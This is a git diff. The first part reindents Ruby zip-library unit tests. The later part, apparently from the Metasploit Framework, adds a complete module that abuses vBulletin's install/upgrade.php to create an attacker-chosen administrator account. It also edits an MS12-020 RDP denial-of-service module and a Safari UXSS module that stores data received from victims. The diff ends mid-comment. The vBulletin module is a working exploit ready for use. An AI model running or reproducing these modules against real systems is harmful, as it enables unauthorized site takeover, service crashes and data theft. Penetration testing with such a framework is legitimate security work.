#{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -2056,10 +2056,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -2287,9 +2287,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -2406,9 +2406,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -2448,24 +2448,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -2517,7 +2517,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -2527,8 +2527,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -2574,14 +2574,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -2657,8 +2657,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -2683,7 +2683,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -2723,7 +2723,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -2732,7 +2732,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -2782,16 +2782,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -2806,8 +2806,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -2821,16 +2821,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -2845,8 +2845,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -2882,7 +2882,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -2892,8 +2892,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -2995,9 +2995,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' @@ -3098,13 +3098,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -3118,29 +3118,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -3231,8 +3231,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -3334,13 +3334,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -3350,11 +3350,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -3443,16 +3443,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -3464,7 +3464,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -3473,7 +3473,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -3502,18 +3502,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -3521,10 +3521,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -3532,24 +3532,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -3560,10 +3560,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -3791,9 +3791,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") end end @@ -3910,9 +3910,9 @@ class ZipCentralDirectoryTest < RUNIT::TestCase assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end @@ -3952,24 +3952,24 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_equality cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") assert_equals(cdir1, cdir1) assert_equals(cdir1, cdir2) @@ -4021,7 +4021,7 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.each { |entry| assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) + entry.name) } assert_equals(4, @testEntryNameIndex) end @@ -4031,8 +4031,8 @@ class BasicZipFileTest < RUNIT::TestCase @zipFile.getInputStream(fileAndEntryName) { |zis| assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) + zis, + fileAndEntryName) } end end @@ -4078,14 +4078,14 @@ class ZipFileTest < CommonZipFileFixture assert_equals(1, zfRead.entries.length) assert_equals(entryName, zfRead.entries.first.name) AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) + zfRead.getInputStream(entryName) { |zis| zis.read }) end def test_addExistingEntryName assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") } } end @@ -4161,8 +4161,8 @@ class ZipFileTest < CommonZipFileFixture assert_exception(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) } } @@ -4187,7 +4187,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) + zf.entries.map{ |e| e.name }) } end @@ -4227,7 +4227,7 @@ class ZipFileTest < CommonZipFileFixture zfRead = ZipFile.new(TEST_ZIP.zipName) AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) + zfRead.getInputStream(entryToReplace) { |is| is.read }) zfRead.close end @@ -4236,7 +4236,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zipName) { |zf| assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") + zf.replace(entryToReplace, "ziptest.rb") } } end @@ -4286,16 +4286,16 @@ class ZipFileTest < CommonZipFileFixture assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) + TestFiles::RANDOM_ASCII_FILE1) assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) zf.rename(zf.entries[0], renamedName) assertContains(zf, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assertContains(zf, originalEntries.last.to_s) @@ -4310,8 +4310,8 @@ class ZipFileTest < CommonZipFileFixture assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) assertContains(zfRead, renamedName) TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) + |filename| + assertContains(zfRead, filename) } assertNotContains(zfRead, originalEntries.last.to_s) ensure @@ -4325,16 +4325,16 @@ class ZipFileTest < CommonZipFileFixture originalEntries = zf.entries.dup originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) + |entry| + zf.remove(entry) + assertNotContains(zf, entry) } assert(zf.entries.empty?) TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) + |filename| + zf.add(filename, filename) + assertContains(zf, filename) } assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) @@ -4349,8 +4349,8 @@ class ZipFileTest < CommonZipFileFixture asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup asciiTestFiles.shift asciiTestFiles.each { - |filename| - assertContains(zf, filename) + |filename| + assertContains(zf, filename) } assertContains(zf, "newName") @@ -4386,7 +4386,7 @@ class ZipFileExtractTest < CommonZipFileFixture assert(File.exists? EXTRACTED_FILENAME) AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) + zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) } end @@ -4396,8 +4396,8 @@ class ZipFileExtractTest < CommonZipFileFixture assert_exception(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) } } File.open(EXTRACTED_FILENAME, "r") { @@ -4499,9 +4499,9 @@ end TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) + ARGV.index("recreateonly") != nil) exit if ARGV.index("recreateonly") != nil #require 'runit/cui/testrunner' diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index a94cd3a8ef..d0efec2922 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -45,10 +45,6 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end - def rport - datastore['RPORT'] - end - def run_host(ip) soapenv='http://schemas.xmlsoap.org/soap/envelope/' soapenvenc='http://schemas.xmlsoap.org/soap/encoding/' diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb new file mode 100644 index 0000000000..9875098f33 --- /dev/null +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -0,0 +1,101 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vBulletin Administrator Account Creation', + 'Description' => %q{ + This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to + create a new administrator account, as exploited in the wild on October 2013. This module + has been tested successfully on vBulletin 4.1.5 and 4.1.0. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discoverer? found in the wild + 'juan vazquez' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ], + [ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5'] + ], + 'DisclosureDate' => 'Oct 09 2013')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) + ], self.class) + end + + def user + datastore["USERNAME"] + end + + def pass + datastore["PASSWORD"] + end + + def run + + if user == pass + print_error("#{peer} - Please select a password different than the username") + return + end + + print_status("#{peer} - Trying a new admin vBulletin account...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"), + 'method' =>'POST', + 'vars_post' => { + "version" => "install", + "response" => "true", + "checktable" => "false", + "firstrun" => "false", + "step" => "7", + "startat" => "0", + "only" => "false", + "options[skiptemplatemerge]" => "0", + "reponse" => "yes", + "htmlsubmit" => "1", + "htmldata[username]" => user, + "htmldata[password]" => pass, + "htmldata[confirmpassword]" => pass, + "htmldata[email]" => datastore["EMAIL"] + }, + 'headers' => { + "X-Requested-With" => "XMLHttpRequest" + } + }) + + if res and res.code == 200 and res.body =~ /Administrator account created/ + print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") + report_auth_info( + :host => rhost, + :port => rport, + :sname => 'http', + :user => user, + :pass => pass, + :active => true, + :proof => res.body + ) + else + print_error("#{peer} - Admin account creation failed") + end + end +end diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index 3b86b26310..a73d5cfc27 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary register_autofilter_ports([ 50013 ]) end - def rport - datastore['RPORT'] - end - def run_host(ip) # Check version information to confirm Win/Lin diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index c644b3efd4..464bd07bfd 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -38,14 +38,6 @@ class Metasploit3 < Msf::Auxiliary end - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - def run record = "" record << "SRS47" # Operation diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 25d34c2c8d..d05fd61c17 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Auxiliary def is_rdp_up begin connect + disconnect return true rescue Rex::ConnectionRefused return false @@ -138,15 +139,24 @@ class Metasploit3 < Msf::Auxiliary "\x02\xF0\x80" + # X.224 "\x21\x80" # T.125 + unless is_rdp_up + print_error("#{rhost}:#{rport} - RDP Service Unreachable") + return + end + connect print_status("#{rhost}:#{rport} - Sending #{self.name}") sock.put(pkt) - select(nil, nil, nil, 3) + Rex.sleep(3) disconnect print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") print_status("#{rhost}:#{rport} - Checking RDP status...") - if not is_rdp_up + + if is_rdp_up + print_error("#{rhost}:#{rport} - RDP Service Unreachable") + return + else print_good("#{rhost}:#{rport} seems down") report_vuln({ :host => rhost, @@ -155,9 +165,8 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references, :info => "Module #{self.fullname} successfully crashed the target system via RDP" }) - else - print_status("#{rhost}:#{rport} is still up") end + end end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 2764218f80..9d8035dc8c 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report # [Array>] list of poisonable scripts per user-specified URLS attr_accessor :scripts_to_poison @@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary def on_request_uri(cli, request) begin - data = if request.body.size > 0 + data_str = if request.body.size > 0 request.body else request.qstring['data'] end - data = JSON::parse(data || '') - print_status "Received data: #{data}" - rescue # json error, dismiss request & keep crit. server up + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + print_error "Invalid JSON received: #{data_str}" + send_not_found(cli) end end + # @param [Hash] data the data to store in the 